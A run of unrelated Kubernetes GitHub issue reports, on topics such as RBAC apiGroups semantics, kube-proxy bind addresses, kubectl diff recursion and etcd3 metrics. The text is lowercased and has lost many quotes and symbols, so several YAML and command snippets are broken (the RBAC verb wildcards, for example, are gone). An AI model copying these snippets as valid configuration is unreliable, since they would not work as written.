here  https://gist.github.com/dalanlan/73e2f49e9100768bea03   /cc @vishh @yujuhong

when invoking a command like  kubectl get pods --template='{{...}}' , the output can often be large swaths of text that are difficult to parse. it would be nice to have some sort of pretty-print option for the output. when i append  -o json  to that, the  --template  directive is ignored and the entire output of  kubectl get  is output as json. it is _not_ reasonable to be able to express the output of a template with json or yaml, but when either option is present alongside a template there should be an error raised, otherwise it is confusing and looks like the template does not function as expected.

anywhere we construct a http.transport{} object  rather than using http.defaulttransport or reusing a shared transport , we need to double check the following: 1. the decision to use  or not use  the same settings as defaulttransport  e.g. proxyfromenvironment, tlshandshaketimeout  are correct.    - places that want to use the same defaults should use a single function to set those defaults  https://github.com/kubernetes/kubernetes/issues/14967  2. if the transport will only be used to handle a single request, it should have  disablekeepalives  set to  true  to avoid keeping an open connection that will never be used again

we consider  networking.go  the workhorse of all e2e tests. - it tests mounts and communication auth  tokens . - it tests pod connectivity over service endpoints. - it confirms that networking in the cluster is setup correctly  i.e. kubelets can find each other  - it isn't cpu or memory intensive, so in general shouldn't lead to stochastic failures or stalls.  i'd suggest we remove it from flakeytests  in the jenkins e2e script , and ensure its test results are used to gate commits.    i think in the past there was an old issue which caused it to join the list of flakey tests    11014 and so on , but i don't think currently it is believed to still be flakey.   cc @ixdy @quinton-hoole @timothysc @ncdc   this is related to  9052 , which broke ci even though it worked locally and passed unit tests, and also  in at least one iteration of the patch  passed multi-node tests..had i known networking tests weren't run in pull request ci, i would have submitted manual cluster results as part of the final review :  ... i will definitely do so this time!

there is a bug with sub-second portion of timestamps   21480  https://github.com/kubernetes/kubernetes/issues/21480 .  as @a-robinson said it can be resolved with using  0.14  version of  fluentd .  nowadays  fluentd  fully released, thus it's possible to use it for  fluentd-es  image.

talking with @ericchiang a bit, my understanding of the rbac policyrule's  apigroups  field is that it determines which api groups the authorizer looks for resources in. for example, if you want to authorize the resource \ deployments,\  you need to explicitly include the \ extensions\  api group:      yaml kind: \ role\  apiversion: \ rbac.authorization.k8s.io/v1alpha1\  metadata:   name: \ deployer\  rules:   - apigroups:  \ extensions\       resources:  \ deployments\       verbs:  \  \        the reason for this is to help disambiguate resources if resources of the same name exist in more than one api group. however, because both the  apigroups  and  resources  fields are arrays, it actually creates a matrix of request allowances which is likely not what the user intended. for example, say i want to authorize requests for \ resource1\  in the api group \ group1\  and \ resource2\  in the api group \ group2.\  i'd write this:      yaml kind: \ role\  apiversion: \ rbac.authorization.k8s.io/v1alpha1\  metadata:   name: \ problem\  rules:   - apigroups:  \ group1\ , \ group2\       resources:  \ resource1\ , \ resource2\       verbs:  \  \        if it turns out that resources with those two names both happen to exist in both api groups, then i've actually authorized four different resources instead of the intended two. in order to properly express what i want, i'd have to create two rules, each with one group and one resource.  because of this behavior, it doesn't make sense to me that the  apigroups  field should allow more than one value. either it should be limited to a single api group name, to prevent any accidental overlap of resource names between api groups, or it should be removed entirely, and resources should be qualified with their api group as a prefix. below are examples of them written in those two different ways:      yaml kind: \ role\  apiversion: \ rbac.authorization.k8s.io/v1alpha1\  metadata:   name: \ problem\  rules:   - apigroups: \ group1\      resources:  \ resource1\       verbs:  \  \     - apigroups: \ group2\      resources:  \ resource2\       verbs:  \  \            yaml kind: \ role\  apiversion: \ rbac.authorization.k8s.io/v1alpha1\  metadata:   name: \ problem\  rules:   - resources:  \ group1/resource1\ , \ group2/resource2\       verbs:  \  \        the first example is basically what you have to do today to get exactly the desired semantics, with the added benefit of  apigroups 's type enforcing that you do it this way. the second example is less verbose because you can do what you want in a single rule. the downside to the second example is that lists of resources become more verbose in general.  refs kubernetes/features 2.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   /area kube-proxy\r \r \r   what happened  :\r    \r $ kubectl -n kube-system logs kube-proxy-10.44.1.192\r error: stat /var/lib/kubelet/kubeconfig.yml: no such file or directory\r error: stat /var/lib/kubelet/kubeconfig.yml: no such file or directory\r    \r \r   what you expected to happen  :\r  kube-proxy  connected to the api server\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r k8s-2 ~   ls -l /var/lib/kubelet/kubeconfig.yml\r -rw-r--r--. 1 root root 977 jun 28 15:41 /var/lib/kubelet/kubeconfig.yml\r    \r \r    \r k8s-2 ~   cat /etc/kubernetes/manifests/kube-proxy.yaml \r apiversion: v1\r kind: pod\r metadata:\r   name: kube-proxy\r   namespace: kube-system\r spec:\r   hostnetwork: true\r   containers:\r     - name: kube-proxy\r       image: quay.io/coreos/hyperkube:v1.6.6_coreos.1\r       command:\r         - /hyperkube\r         - proxy\r         - --kubeconfig=/var/lib/kubelet/kubeconfig.yml\r         - --proxy-mode=iptables\r       securitycontext:\r         privileged: true\r       volumemounts:\r         - mountpath: /etc/ssl/certs\r           name: ssl-certs-host\r           readonly: true\r   volumes:\r     - hostpath:\r         path: /usr/share/ca-certificates\r       name: ssl-certs-host\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:34:20z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6+coreos.1\ , gitcommit:\ 42a5c8b99c994a51d9ceaed5d0254f177e97d419\ , gittreestate:\ clean\ , builddate:\ 2017-06-21t01:10:07z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r hardware\r \r - os  e.g. from /etc/os-release :\r    \r k8s-2 ~   cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1409.5.0\r version_id=1409.5.0\r build_id=2017-06-22-2222\r pretty_name=\ container linux by coreos 1409.5.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r - kernel  e.g.  uname -a  :\r    \r k8s-2 ~   uname -a\r linux k8s-2 4.11.6-coreos-r1  1 smp thu jun 22 22:04:38 utc 2017 x86_64 intel r  xeon r  cpu e5345 @ 2.33ghz genuineintel gnu/linux\r    \r

the \ services should be able to create an internal type load balancer  slow \  e2e test is failing on our 2k-node gce clusters - https://k8s-testgrid.appspot.com/google-gce-scale gce-large-correctness\r with the following error:\r \r    \r aug 26 10:40:25.476: info: at 2017-08-26 10:25:41 +0000 utc - event for lb-internal: {service-controller } creatingloadbalancerfailed: error creating load balancer  will retry : failed to ensure load balancer for service e2e-tests-services-bqlcw/lb-internal: googleapi: error 400: invalid value for field 'resource.subnetwork': ''. network interface must specify a subnet if the network resource is in custom subnet mode., invalid\r    \r \r we're using custom subnets for our large cluster tests, and seems like the glbc controller is not able to handle them.\r \r cc @kubernetes/sig-network-bugs @kubernetes/sig-scalability-misc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r i build an image using commit it \ git rev-parse --short head\ . if the output doesn't contain any character \ like 1315693\ , the deployment doesn't pull the image\ invalidimagename\ \r \r   what you expected to happen  :\r when i change the build tag which contains alphabet it works. i need to pass a short commit id even though it contains an alphabet or not \r \r \r \r \r

\r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r \r  volume/fc  unit tests fail on osx.\r \r    \r $ pwd\r <snip>/gopath/src/k8s.io/kubernetes/pkg/volume/fc\r $ go test\r --- fail: test_constructvolumespec  0.00s \r     fc_test.go:450: couldn't fetch mountrefs\r     fc_test.go:469: failed to retrieve wwids\r     fc_test.go:450: couldn't fetch mountrefs\r     fc_test.go:469: failed to retrieve wwids\r fail\r exit status 1\r fail    k8s.io/kubernetes/pkg/volume/fc    0.054s\r    \r \r   what you expected to happen  :\r \r    \r $ go test\r pass\r ok  \tk8s.io/kubernetes/pkg/volume/fc\t0.092s\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r to see this unit test fail, you need to run go test on an osx machine.\r \r    \r $ cd <snip>/gopath/src/k8s.io/kubernetes/pkg/volume/fc\r $ go test\r    \r \r   environment  :\r - os: macos high sierra v10.13.3 \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r i'm install k8s in my labtop  use kubeadm.\r \r $ kubeadm init --config=master.yaml\r \r    \r apiversion: kubeadm.k8s.io/v1alpha2\r kind: masterconfiguration\r api:\r   advertiseaddress: 192.168.10.102\r kubernetesversion: 1.11.1\r networking:\r   podsubnet: 10.244.0.0/16\r   servicesubnet: 10.96.0.0/12\r nodename: mst1\r imagerepository: myprivateregistry\r noderegistration:\r   kubeletextraargs:\r     pod-infra-container-image: myprivateregistry/pause-amd64:3.1\r kubeletconfiguration:\r   baseconfig:\r     cgroupdriver: systemd\r     runtimecgroups: \ /systemd/system.slice\ \r     kubeletcgroups: \ /systemd/system.slice\ \r     authentication:\r       anonymous:\r         enabled: true\r       webhook:\r         enabled: true\r     authorization:\r       mode: webhook\r     hostnameoverride: mst1\r     readonlyport: 0\r     eventqps: 0\r etcd:\r   local:\r     image: myprivateregistry/etcd-amd64:3.2.18\r apiservercertsans:\r    \r \r so init completed. and use myprivateregistry pause image.\r \r master's kubelet_kubeadm_args is  /var/lib/kubelet/kubeadm-flags.env \r    \r kubelet_kubeadm_args=--pod-infra-container-image=myprivateregistry/pause-amd64:3.1 --cgroup-driver=systemd --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --network-plugin=cni\r    \r \r and join my node.\r \r join cmd is complete but node's kubelet_kubeadm_args is not eqal master\r \r node's kubelet_kubeadm_args is  /var/lib/kubelet/kubeadm-flags.env \r    \r kubelet_kubeadm_args=--cgroup-driver=systemd --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --network-plugin=cni\r    \r \r it does not contain \ pod-infra-container-image\  options.\r \r \r \r \r   what you expected to happen  :\r \r master's kubelet_kubeadm_args is same to nodes\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: local\r - os  e.g. from /etc/os-release :  centos 7.3\r - kernel  e.g.  uname -a  : linux thdrnsdk 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r \r  

what happened  :\r \r i get a diff, when i specify a file directly, but on recursive mode, no diff is shown anymore:\r \r    \r $ kubectl diff -f kube-system/heapster/heapster.deploy.yaml                                                                                                                                                          \r diff -u -n /tmp/live-408713333/heapster /tmp/merged-013765456/heapster                                                                                                                                               \r --- /tmp/live-408713333/heapster        2018-12-10 23:38:10.619663532 +0100                                                                                                                                          \r +++ /tmp/merged-013765456/heapster      2018-12-10 23:38:10.635663847 +0100                                                                                                                                          \r @@ -44,7 +44,7 @@                                                                                                                                                                                                    \r        - command:                                                                                                                                                                                                    \r          - /heapster                                                                                                                                                                                                 \r          - --source=kubernetes.summary_api:https://kubernetes.default?kubeletport=10250&kubelethttps=true&useserviceaccount=true&insecure=false                                                                      \r -        image: k8s.example.com/heapster-amd64:v1.6.0-beta.1                                                                                                                                               \r +        image: k8s.example.com/heapster-amd64:v1.5.4                                                                                                                                                      \r          imagepullpolicy: ifnotpresent                                                                                                                                                                               \r          livenessprobe:                                                                                                                                                                                              \r            failurethreshold: 3                                                                                                                                                                                       \r exit status 1                                                                                                                                                                                                        \r $ kubectl diff -f kube-system/heapster                                                                                                                                                                               \r $ kubectl diff -rf kube-system/heapster  \r $\r    \r \r   what you expected to happen  :\r \r recursive mode should work\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r have a bunch of yaml manifest, but with name collisions, e.g. service  heapster , deployment  heapster , etc\r \r   anything else we need to know?  :\r \r i think the problem is that all objects have the same name, which should not be a problem  per se .\r \r    \r $ grep name: kube-system/heapster -r                                                                                                                                                                                \r kube-system/heapster/heapster.service.yaml:  name: heapster\r kube-system/heapster/heapster-rbac.yaml:  name: heapster-binding\r kube-system/heapster/heapster-rbac.yaml:  name: system:heapster\r kube-system/heapster/heapster-rbac.yaml:  name: heapster\r kube-system/heapster/heapster.deploy.yaml:  name: heapster\r kube-system/heapster/heapster.deploy.yaml:  name: heapster\r kube-system/heapster/heapster.deploy.yaml:        - name: heapster\r    \r only heapster-binding has a different name, and looking at the generated temp files, only  heapster  and  heapster-binding  are present:\r \r    \r $ export kubectl_external_diff=\ find\ \r $ kubectl diff -rf kube-system/heapster\r /tmp/live-582567937\r /tmp/live-582567937/heapster\r /tmp/live-582567937/heapster-binding\r /tmp/merged-207518060\r /tmp/merged-207518060/heapster\r /tmp/merged-207518060/heapster-binding\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r $ kubectl version --short\r client version: v1.13.0\r server version: v1.13.0\r \r <!-- do not edit below this line -->\r 

which jobs are failing  :\r    ci-kubernetes-e2e-gce-new-master-upgrade-cluster  in https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster\r    ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new  in https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new\r \r   which test s  are failing  :\r   k8s.io   sig-node  kubelet  serial   slow   k8s.io   sig-node  regular resource usage tracking resource tracking for 100 pods per node \r \r   since when has it been failing  :\r 2019-03-01\r \r   reason for failure  :\r not all expected pods come up:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/kubelet_perf.go:263\r expected error:\r     < errors.errorstring | 0xc00103a5e0>: {\r         s: \ only 296 pods started out of 300\ ,\r     }\r     only 296 pods started out of 300\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/kubelet_perf.go:79\r    \r \r   296  is not consistent \r \r   anything else we need to know  :\r might be related: https://github.com/kubernetes/kubernetes/issues/74917\r \r   / _ for now, because it's a consistent failure in a release-blocking test job _\r /milestone v1.14\r \r cc @smourapina @alejandroesc @kacole2 @mortent

we should parallelize starting/stopping multiple migs in kube-up scripts in gce to make large clusters starting/stopping faster.

todays update-all script has a few cryptic, frustrating failure modes.  a  update-all --group foo --resource bar --clobber --fail-fast  script would be helpful.   here are a few things i ran into, lots of moving parts when adding a new apigroup so some of this might be user error: 1. need to update a couple of imports in cmd/libs, failing to do so will just silently not give you the right autogen files  deep_copy_generated i think  2. ~~need to add  a podspec conversion function for things that use podspec.~~  this is fixed  3. i had to update internal_clientset with an import  which is really confusing, because the path to that file has \ generated\  in it. or maybe this was something that should actually be autogenerated but i ended up doing it by hand  will lead to update-swagger failing with  panic: kube_api_versions contains versions that are not installed:  \ apps/v1alpha1\  .  4. update-swagger should also surface errors better, i needed to invoke the same apiserver command it runs by hand to see the panic.  5. not  touching  types.generated.go will not fail hard enough, you just won't get a types.generated.go 6. api-docs gets confused: https://github.com/kubernetes/kubernetes/issues/24310 7. ~~i need to add my group to update-generated-conversions~~  this is fixed  8. there's a dependency problem when custom conversion functions are used, generated-swagger-docs will fail because the apiserver won't come up, which will not work till one runs update-codegen  the last step of update-all . 9. i just delete all auto generated files when i change a type.   @lavalamp

i’m seeing a kubelet issue where cadvisor will lose visibility to running docker containers over time  usually starts to happen within 24h of startup .  when kubelet first starts, cadvisor is showing all running containers in the  container_last_seen  metric, but at some point it will begin to only show        help container_last_seen last time a container was seen by the exporter   type container_last_seen gauge container_last_seen{id=\ /\ } 1.474463935e+09      but i can confirm my containers are running and healthy.  i see these errors in the kubelet log around the time when the containers get \ lost\ :      sep 21 13:08:43 cmce-k8s-worker-1.novalocal kubelet 1438 : w0921 13:08:43.351974    1438 raw.go:86  error while processing event  \ /var/lib/rkt/pods/run/08697cb1-ae87-484f-bec5-272f351794f5/stage1/rootfs/opt/stage2/flannel/rootfs/sys/fs/cgroup/cpu,cpuacct/system.slice/s sep 21 13:08:43 cmce-k8s-worker-1.novalocal kubelet 1438 : w0921 13:08:43.356112    1438 raw.go:86  error while processing event  \ /var/lib/rkt/pods/run/08697cb1-ae87-484f-bec5-272f351794f5/stage1/rootfs/opt/stage2/flannel/rootfs/sys/fs/cgroup/blkio/system.slice/system- sep 21 13:08:43 cmce-k8s-worker-1.novalocal kubelet 1438 : w0921 13:08:43.356183    1438 raw.go:86  error while processing event  \ /var/lib/rkt/pods/run/08697cb1-ae87-484f-bec5-272f351794f5/stage1/rootfs/opt/stage2/flannel/rootfs/sys/fs/cgroup/memory/system.slice/system      i running my cluster in openstack.  other environment details below.    kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:26:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:19:19z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }          docker version client:  version:      1.10.3  api version:  1.22  go version:   go1.5.3  git commit:   8acee1b  built:  os/arch:      linux/amd64  server:  version:      1.10.3  api version:  1.22  go version:   go1.5.3  git commit:   8acee1b  built:  os/arch:      linux/amd64

environment  : -   cloud provider or hardware configuration  : azure -   os    e.g. from /etc/os-release : ubuntu xenial -   kernel    e.g.  uname -a  : whatever is in xenial today -   install tools  : custom -   others  : n/a    what happened  : azure disk seems to never unmount correctly and always times out. kcm then comes along and forcibly detaches after the maxwaitforunmountduration    what you expected to happen  : it to successfully unmount and detach in a much smaller amount of time.    how to reproduce it    as minimally and precisely as possible : 1. start a pod with an azure disk 2. observe that it starts reasonably quickly... 3. kill the pod 4. wait 5. wait more 6. eventually it times out:  i1020 06:34:49.959484       1 reconciler.go:138  started detachvolume for volume \ kubernetes.io/azure-disk/kubetestdisk0\  from node \ k8s-agentpool2-26612993-1\ . this volume is not safe to detach, but maxwaitforunmountduration 6m0s expired, force detaching     anything else do we need to know  : n/a  cc: @rootfs

kubernetes version    use  kubectl version  :\r 1.5.1 for both the client and server\r \r   environment  :\r n/a\r \r   what happened  :\r running  kubectl get --help  returns a long list of valid resource types. this list doesn't include  poddisruptionbudget , even though it's a valid beta resource type afaik. running  kubectl get poddisruptionbudget  works.\r \r   what you expected to happen  :\r for the list in the kubectl help text to include all valid resource types.\r \r   how to reproduce it    as minimally and precisely as possible :\r  kubectl get --help \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2429/ failed:  k8s.io  kubeletmanagedetchosts should test kubelet managed /etc/hosts file  conformance  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/kubelet_etc_hosts.go:55 failed to execute command in pod test-pod, container busybox-3: command terminated with exit code 126 expected error:     <exec.codeexiterror>: {         err: {             s: \ command terminated with exit code 126\ ,         },         code: 126,     }     command terminated with exit code 126 not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/exec_util.go:107

this is similar to  43662, but that report  and fix  focussed on the in-cluster namespace vs configured .kube/config context namespace.  i have a similar issue with the in-cluster namespace vs an explicit  metadata.namespace  in the json/yaml file i'm passing to  kubectl create -f  \r \r when run in-cluster,  kubectl  1.5+  including 1.6.0  refuses to allow me to create a resource in another namespace via an explicit  metadata.namespace  property on a resource.\r \r  kubectl  1.4.x honours  .metadata.namespace  when run in-cluster as expected. all versions honour  metadata.namespace  when run out-of-cluster.\r \r    console\r  no .kube/config, just using in-cluster defaults \r % cat /var/run/secrets/kubernetes.io/serviceaccount/namespace\r foo\r % jq .metadata.namespace echo.json \r \ foo2\ \r % ./kubectl-1.6.0 create -f echo.json \r error: the namespace from the provided object \ foo2\  does not match the namespace \ foo\ . you must pass '--namespace=foo2' to perform this operation.\r % ./kubectl-1.5.6 create -f echo.json \r error: the namespace from the provided object \ foo2\  does not match the namespace \ foo\ . you must pass '--namespace=foo2' to perform this operation.\r % ./kubectl-1.4.7 create -f echo.json \r deployment \ echoheaders\  created\r    \r \r i don't want to / can't provide an explicit  --namespace  arg or context declaration as suggested by the error text, because this is an automated deployment pipeline that creates resources in multiple namespaces.  i just want the client to do-what-i-say without imposing additional client-side restrictions :stuck_out_tongue: \r

@caesarxuchao reports that gke cluster cannot up with 1.7 branch. i quickly poked around, and found all gke test clusters are affected, not only 1.7 release branch. i also noticed that there is a new cloud sdk upgrade, which might be the cause. \r \r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-release-1-7/186/build-log.txt\r    \r w0614 17:16:33.877  error:  gcloud.container.clusters.create  operation  <operation\r w0614 17:16:33.877   name: u'operation-1497459356306-b32c1acf'\r w0614 17:16:33.878   operationtype: operationtypevaluevaluesenum create_cluster, 1 \r w0614 17:16:33.878   selflink: u'https://test-container.sandbox.googleapis.com/v1/projects/752718673218/zones/us-central1-a/operations/operation-1497459356306-b32c1acf'\r w0614 17:16:33.878   status: statusvaluevaluesenum done, 3 \r w0614 17:16:33.878   statusmessage: u'timed out waiting for cluster initialization. cluster api may not be available.'\r w0614 17:16:33.878   targetlink: u'https://test-container.sandbox.googleapis.com/v1/projects/752718673218/zones/us-central1-a/clusters/bootstrap-e2e'\r w0614 17:16:33.878   zone: u'us-central1-a'>  finished with error: timed out waiting for cluster initialization. cluster api may not be available.\r w0614 17:16:34.505  2017/06/14 17:16:34 util.go:131: step './hack/e2e-internal/e2e-up.sh' finished in 21m34.239892608s\r    \r \r cc/ @gmarek @cheftako

is this a bug report or feature request?  :\r \r  \r   what happened  :\r kube-proxy daemonset:\r    \r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   labels:\r     component: kube-proxy\r     k8s-app: kube-proxy\r     kubernetes.io/cluster-service: \ true\ \r     name: kube-proxy\r     tier: node\r   name: kube-proxy\r   namespace: kube-system\r spec:\r   updatestrategy:\r     type: rollingupdate\r   template:\r     metadata:\r       labels:\r         component: kube-proxy\r         k8s-app: kube-proxy\r         kubernetes.io/cluster-service: \ true\ \r         name: kube-proxy\r         tier: node\r     spec:\r       containers:\r       - command:\r         - kube-proxy\r         - --kubeconfig=/var/lib/kube-proxy/kubeconfig\r         - --proxy-mode=iptables\r         - --healthz-bind-address=0.0.0.0\r         - --v=2\r         image: gcr.io/google_containers/kube-proxy-amd64:v1.7.0\r         imagepullpolicy: ifnotpresent\r         name: kube-proxy\r         securitycontext:\r           privileged: true\r         volumemounts:\r         - mountpath: /var/lib/kube-proxy\r           name: kubeconfig\r           readonly: true\r       dnspolicy: clusterfirst\r       hostnetwork: true\r       restartpolicy: always\r       terminationgraceperiodseconds: 30\r       volumes:\r       - hostpath:\r           path: /var/lib/kube-proxy\r         name: kubeconfig\r    \r \r note option  --healthz-bind-address=0.0.0.0 \r \r despite option  --healthz-bind-address=0.0.0.0  kube-proxy bind port 10249 to  127.0.0.1 :\r \r    \r   docker ps -qf \ label=io.kubernetes.container.name=kube-proxy\  | xargs docker inspect --format '{{.state.pid}}'\r 3859\r   nsenter -t 3859 -n netstat -pant |grep -i listen\r tcp        0      0 0.0.0.0:179             0.0.0.0:                listen      2123/bird\r tcp        0      0 127.0.0.1:8500          0.0.0.0:                listen      729/consul\r tcp        0      0 127.0.0.1:53            0.0.0.0:                listen      905/dnsmasq\r tcp        0      0 10.14.30.110:53         0.0.0.0:                listen      905/dnsmasq\r tcp        0      0 10.14.30.110:22         0.0.0.0:                listen      786/sshd\r tcp        0      0 127.0.0.1:8600          0.0.0.0:                listen      729/consul\r tcp        0      0 10.14.30.110:5666       0.0.0.0:                listen      792/xinetd\r tcp        0      0 127.0.0.1:10248         0.0.0.0:                listen      1307/kubelet\r tcp        0      0 127.0.0.1:10249         0.0.0.0:                listen      3859/kube-proxy\r tcp        0      0 10.14.30.110:8301       0.0.0.0:                listen      729/consul\r tcp6       0      0 :::10256                :::                     listen      3859/kube-proxy\r tcp6       0      0 ::1:53                  :::                     listen      905/dnsmasq\r tcp6       0      0 :::4194                 :::                     listen      1307/kubelet\r tcp6       0      0 :::10250                :::                     listen      1307/kubelet\r tcp6       0      0 :::10255                :::                     listen      1307/kubelet\r    \r \r note:\r    \r tcp        0      0 127.0.0.1:10249         0.0.0.0:                listen      3859/kube-proxy\r    \r \r   what you expected to happen  :\r \r kube-proxy should bind port 10249  health check server  to 0.0.0.0.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - os  e.g. from /etc/os-release : ubuntu 14.04\r - kernel  e.g.  uname -a  :\r linux dev-k8s-deployer-p1 4.4.0-34-generic  53~14.04.1-ubuntu smp wed jul 27 16:56:40 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r

in etcd2 we tracked latency, count per resource, and a few other options.  etcd3 storage has none of this instrumentation.  we could use the grpc metrics, but they don't provide useful info:\r \r    \r ○ oc get --raw /metrics | grep grpc\r   help etcd_network_client_grpc_received_bytes_total the total number of bytes received from grpc clients.\r   type etcd_network_client_grpc_received_bytes_total counter\r etcd_network_client_grpc_received_bytes_total 57586\r   help etcd_network_client_grpc_sent_bytes_total the total number of bytes sent to grpc clients.\r   type etcd_network_client_grpc_sent_bytes_total counter\r etcd_network_client_grpc_sent_bytes_total 1.7420058e+07\r   help grpc_client_handled_total total number of rpcs completed by the client, regardless of success or failure.\r   type grpc_client_handled_total counter\r grpc_client_handled_total{grpc_code=\ ok\ ,grpc_method=\ leasegrant\ ,grpc_service=\ etcdserverpb.lease\ ,grpc_type=\ unary\ } 2\r grpc_client_handled_total{grpc_code=\ ok\ ,grpc_method=\ range\ ,grpc_service=\ etcdserverpb.kv\ ,grpc_type=\ unary\ } 642\r grpc_client_handled_total{grpc_code=\ ok\ ,grpc_method=\ txn\ ,grpc_service=\ etcdserverpb.kv\ ,grpc_type=\ unary\ } 16\r grpc_client_handled_total{grpc_code=\ unavailable\ ,grpc_method=\ txn\ ,grpc_service=\ etcdserverpb.kv\ ,grpc_type=\ unary\ } 1\r   help grpc_client_msg_received_total total number of rpc stream messages received by the client.\r   type grpc_client_msg_received_total counter\r grpc_client_msg_received_total{grpc_method=\ txn\ ,grpc_service=\ etcdserverpb.kv\ ,grpc_type=\ unary\ } 1\r grpc_client_msg_received_total{grpc_method=\ watch\ ,grpc_service=\ etcdserverpb.watch\ ,grpc_type=\ bidi_stream\ } 72\r   help grpc_client_msg_sent_total total number of grpc stream messages sent by the client.\r   type grpc_client_msg_sent_total counter\r grpc_client_msg_sent_total{grpc_method=\ leasegrant\ ,grpc_service=\ etcdserverpb.lease\ ,grpc_type=\ unary\ } 2\r grpc_client_msg_sent_total{grpc_method=\ range\ ,grpc_service=\ etcdserverpb.kv\ ,grpc_type=\ unary\ } 642\r grpc_client_msg_sent_total{grpc_method=\ txn\ ,grpc_service=\ etcdserverpb.kv\ ,grpc_type=\ unary\ } 17\r grpc_client_msg_sent_total{grpc_method=\ watch\ ,grpc_service=\ etcdserverpb.watch\ ,grpc_type=\ bidi_stream\ } 72\r   help grpc_client_started_total total number of rpcs started on the client.\r   type grpc_client_started_total counter\r grpc_client_started_total{grpc_method=\ leasegrant\ ,grpc_service=\ etcdserverpb.lease\ ,grpc_type=\ unary\ } 2\r grpc_client_started_total{grpc_method=\ range\ ,grpc_service=\ etcdserverpb.kv\ ,grpc_type=\ unary\ } 642\r grpc_client_started_total{grpc_method=\ txn\ ,grpc_service=\ etcdserverpb.kv\ ,grpc_type=\ unary\ } 17\r grpc_client_started_total{grpc_method=\ watch\ ,grpc_service=\ etcdserverpb.watch\ ,grpc_type=\ bidi_stream\ } 72\r    \r \r we can't add key level logging to the client, because we'd blow up on high cardinality metrics.  instead, i think we should instrument etcd3 like etcd2.\r \r @kubernetes/sig-scalability-misc @kubernetes/sig-instrumentation-feature-requests

